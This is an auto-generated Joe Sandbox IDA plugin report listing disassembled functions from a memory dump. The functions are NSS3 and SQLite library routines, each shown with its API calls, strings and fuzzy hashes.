Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: d74f413ecddd62de03cb1cd40dd703879e5c207ea9307297b0f91f277b8b967c
Instruction ID: d59fd8ee602cf45ebd546a864dc2a4a37f6c562bde96ce57a00bcee27b96f313
Opcode Fuzzy Hash: d74f413ecddd62de03cb1cd40dd703879e5c207ea9307297b0f91f277b8b967c
Instruction Fuzzy Hash: B8418E72604A06AFDB00CF25D880A8AB7E5FF44368F158629EC598BB40E731F959CBD1

Function 6CE95ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CE95F0A
TlsGetValue.KERNEL32 ref: 6CE95F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CE95F2F
PR_Unlock.NSS3(890008E8), ref: 6CE95F55
PR_SetError.NSS3(00000000,00000000), ref: 6CE95F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CE95F7D

Part of subcall function 6CE95220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CE95F82,8B4274C0), ref: 6CE95248
Part of subcall function 6CE95220: EnterCriticalSection.KERNEL32(0F6CF60D,?,6CE95F82,8B4274C0), ref: 6CE9525C
Part of subcall function 6CE95220: PR_SetError.NSS3(00000000,00000000), ref: 6CE9528E
Part of subcall function 6CE95220: PR_Unlock.NSS3(0F6CF5F1), ref: 6CE95299
Part of subcall function 6CE95220: free.MOZGLUE(00000000), ref: 6CE952A9

Strings

q]l, xrefs: 6CE95EDB, 6CE95F09

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 80fc98a632f8a17740822be6e7409c984573537fee88335e7c16e5d369a64356
Instruction ID: b4e5e084e9472ff4c7abb52727f038f114c182f3908c6e554c5f76f22f54793d
Opcode Fuzzy Hash: 80fc98a632f8a17740822be6e7409c984573537fee88335e7c16e5d369a64356
Instruction Fuzzy Hash: 8C21D6B1D002049FDB10AF64EC41BEEBBB4EF19318F640129E90AA7700E731A954CB91

Function 6CE58CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE6124D,00000001), ref: 6CE58D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE6124D,00000001), ref: 6CE58D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE6124D,00000001), ref: 6CE58D73
PR_Unlock.NSS3(?,?,?,?,?,6CE6124D,00000001), ref: 6CE58D8C

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE6124D,00000001), ref: 6CE58DBA

Strings

KRAM, xrefs: 6CE58CF9
KRAM, xrefs: 6CE58D3E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: b5f92b669436d09ac855659cef5a148cc4689ba0485a49c5013489301c4fcdba
Instruction ID: fa7b8ed9f98ea88d2f489587043babec568775b911fb57db90f8894380215547
Opcode Fuzzy Hash: b5f92b669436d09ac855659cef5a148cc4689ba0485a49c5013489301c4fcdba
Instruction Fuzzy Hash: 5421BFB4A54600CFCB50EF38C48426ABBF4FF45318F65896AD98887701D731D852CB91

Function 6CE7ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CE7ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE7AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE7AD23

Part of subcall function 6CF5D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF5D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE7AD39

Strings

hSession = 0x%x, xrefs: 6CE7ACFE, 6CE7AD0E
(CK_INVALID_HANDLE), xrefs: 6CE7AD1C
C_MessageDecryptFinal, xrefs: 6CE7ACE1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 49cc95eea644f895d66e1f0e7af8319cfcc9ac8de1f593226240e7b727aefba2
Instruction ID: 2f10612c25db45e3a4830a7c970343eaab8b764a7cfcf23141d9ae13fc8de72b
Opcode Fuzzy Hash: 49cc95eea644f895d66e1f0e7af8319cfcc9ac8de1f593226240e7b727aefba2
Instruction Fuzzy Hash: 21212571B40104DFDB509BA5FE88BAE7775AB4230DF544429EA0E97B11DB31EC09CBA2

Function 6CF50ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF50EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF50EFA

Part of subcall function 6CE3AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE3AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF50F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF50ED9, 6CF50EE5, 6CF50F06, 6CF50F0B
Aborting, xrefs: 6CF50EB3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 9745121faf52e760ba4e291e0733ab2bf905866d5ee3221797a30a6dcd8dd0e0
Instruction ID: a3def9f1e5546402f0f45399cba6608becb4d6462660de5cd47fcecf3084f085
Opcode Fuzzy Hash: 9745121faf52e760ba4e291e0733ab2bf905866d5ee3221797a30a6dcd8dd0e0
Instruction Fuzzy Hash: 2C01C0B6910114ABDF01AF64DC45DAB3F7CEF46368B804025FE1997711D672EA6087B2

Function 6CF31C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE34E1D), ref: 6CF31C8A
sqlite3_free.NSS3(00000000), ref: 6CF31CB6

Strings

a generated column, xrefs: 6CF31C6C
a CHECK constraint, xrefs: 6CF31C76, 6CF31C81
an index, xrefs: 6CF31C67
non-deterministic use of %s() in %s, xrefs: 6CF31C85
w=l, xrefs: 6CF31C44

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: 51609f9025ff1fe84b50400ee3feb342665ff4adb36ff43649026c2085228192
Instruction ID: a603a8a58602419fe896d8a9c6b4330050d171b0bdec2abb28bda88e152c2b69
Opcode Fuzzy Hash: 51609f9025ff1fe84b50400ee3feb342665ff4adb36ff43649026c2085228192
Instruction Fuzzy Hash: 0601FCB1B001405BD710BF2CE4129B177E5EFC534CB15487EDD499BB12EB62E856C7A1

Function 6CF14D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF14DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF14DE0

Strings

%s at line %d of [%.10s], xrefs: 6CF14DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF14DCB
API call with %s database connection pointer, xrefs: 6CF14DBD
misuse, xrefs: 6CF14DD5
invalid, xrefs: 6CF14DB8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b9a2e00780fbce8435e8c666e456bf13ea1d4d3a51edd2f847c7246c0117a8a6
Instruction ID: 1e4c2cdea48f3eee3e4e70e867754addeb295351c1ad8dbeaea1aa03f90e4b98
Opcode Fuzzy Hash: b9a2e00780fbce8435e8c666e456bf13ea1d4d3a51edd2f847c7246c0117a8a6
Instruction Fuzzy Hash: 1DF05931E285247BDF004615DC21FC23B955F4131CF5609B2FD04ABE62D2079C5083F0

Function 6CF14DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF14E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF14E4D

Strings

%s at line %d of [%.10s], xrefs: 6CF14E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF14E38
API call with %s database connection pointer, xrefs: 6CF14E2A
misuse, xrefs: 6CF14E42
invalid, xrefs: 6CF14E25

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 54fa298ccbe72dae96328f0d5e9c97a88c29f1ecbe02f7b2906fe4d18db6d4e5
Instruction ID: fdeae9407688f1049c0b8587a785b66a1fe59063db1153aa6e945346bacbae6a
Opcode Fuzzy Hash: 54fa298ccbe72dae96328f0d5e9c97a88c29f1ecbe02f7b2906fe4d18db6d4e5
Instruction Fuzzy Hash: 4AF02731F4D9282BEA200725EC10FD33F865B4172DF4A44A2EA1867E92D2069C6147F1

Function 6CE49FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE4A086
EnterCriticalSection.KERNEL32(?), ref: 6CE4A09B
PR_Unlock.NSS3(?), ref: 6CE4A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4A0E9
TlsGetValue.KERNEL32 ref: 6CE4A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE4A12F
PR_Unlock.NSS3(?), ref: 6CE4A148

Part of subcall function 6CE61A40: PR_Now.NSS3(?,00000000,6CE428AD,00000000,?,6CE5F09A,00000000,6CE428AD,6CE493B0,?,6CE493B0,6CE428AD,00000000,?,00000000), ref: 6CE61A65

Part of subcall function 6CE61940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE64126,?), ref: 6CE61966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE4A1A3

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 4609810121574c0e2c79d10abf07fe933ef49c012304050da5d4fadc5ab9466b
Instruction ID: 7ea4c9aa348cd3be0ec57b112d54cb56d5190e286413bd80ba0760cb496d511a
Opcode Fuzzy Hash: 4609810121574c0e2c79d10abf07fe933ef49c012304050da5d4fadc5ab9466b
Instruction Fuzzy Hash: 7E51F9B6E40200DBEB109F65EC44AABB7B8AF9636CB25843DEC1997701EB31D845C691

Function 6CE80C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE81444,?,00000001,?,00000000,00000000,?,?,6CE81444,?,?,00000000,?,?), ref: 6CE80CB3

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?,?,6CE81444,?), ref: 6CE80DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?,?,6CE81444,?), ref: 6CE80DEC

Part of subcall function 6CEA0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE42AF5,?,?,?,?,?,6CE40A1B,00000000), ref: 6CEA0F1A
Part of subcall function 6CEA0F10: malloc.MOZGLUE(00000001), ref: 6CEA0F30
Part of subcall function 6CEA0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEA0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?), ref: 6CE80DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE81444,?,00000001,?,00000000), ref: 6CE80E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?), ref: 6CE80E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?,?,6CE81444,?,?,00000000), ref: 6CE80E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE81444,?,00000001,?,00000000,00000000,?), ref: 6CE80E79

Part of subcall function 6CE91560: TlsGetValue.KERNEL32(00000000,?,6CE60844,?), ref: 6CE9157A
Part of subcall function 6CE91560: EnterCriticalSection.KERNEL32(?,?,?,6CE60844,?), ref: 6CE9158F
Part of subcall function 6CE91560: PR_Unlock.NSS3(?,?,?,?,6CE60844,?), ref: 6CE915B2

Part of subcall function 6CE5B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE61397,00000000,?,6CE5CF93,5B5F5EC0,00000000,?,6CE61397,?), ref: 6CE5B1CB
Part of subcall function 6CE5B1A0: free.MOZGLUE(5B5F5EC0,?,6CE5CF93,5B5F5EC0,00000000,?,6CE61397,?), ref: 6CE5B1D2

Part of subcall function 6CE589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE588AE,-00000008), ref: 6CE58A04
Part of subcall function 6CE589E0: EnterCriticalSection.KERNEL32(?), ref: 6CE58A15
Part of subcall function 6CE589E0: memset.VCRUNTIME140(6CE588AE,00000000,00000132), ref: 6CE58A27
Part of subcall function 6CE589E0: PR_Unlock.NSS3(?), ref: 6CE58A35

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 98182e9f27c05518aa46ba56a9c414e40181391a160263421b727fbe1b45218d
Instruction ID: a810790b3e944ba465260f90094e94f77e555c6cd3f4e62a9b4ad4095d8f3f1c
Opcode Fuzzy Hash: 98182e9f27c05518aa46ba56a9c414e40181391a160263421b727fbe1b45218d
Instruction Fuzzy Hash: A051BAF6E022005FEB019F64DC41AAF37B8AF0925CF650028EC1997B52F731ED1586A2

Function 6CE36E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE36ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE36EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE36FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE36FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE36FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE37010
sqlite3_value_blob.NSS3(?,?), ref: 6CE3701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE37052

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 539de7e45531c45be4bd18ddfc267cf774ff5f8ca26684ad95e0b29df7ac3349
Instruction ID: 820e6ac5223b18d7d7366a008128046eb3fabba5e6ec61ffe0b2ade73206efb1
Opcode Fuzzy Hash: 539de7e45531c45be4bd18ddfc267cf774ff5f8ca26684ad95e0b29df7ac3349
Instruction Fuzzy Hash: 5561AFB1E0422A8BDB00CF64CD017EEB7B6BF85308F385168D418AB750E736AC16CB90

Function 6CEA8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEA7313), ref: 6CEA8FBB

Part of subcall function 6CEA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE48298,?,?,?,6CE3FCE5,?), ref: 6CEA07BF
Part of subcall function 6CEA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEA07E6
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA081B
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA90F1

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEA7313), ref: 6CEA906B

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEA7313), ref: 6CEA9128

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

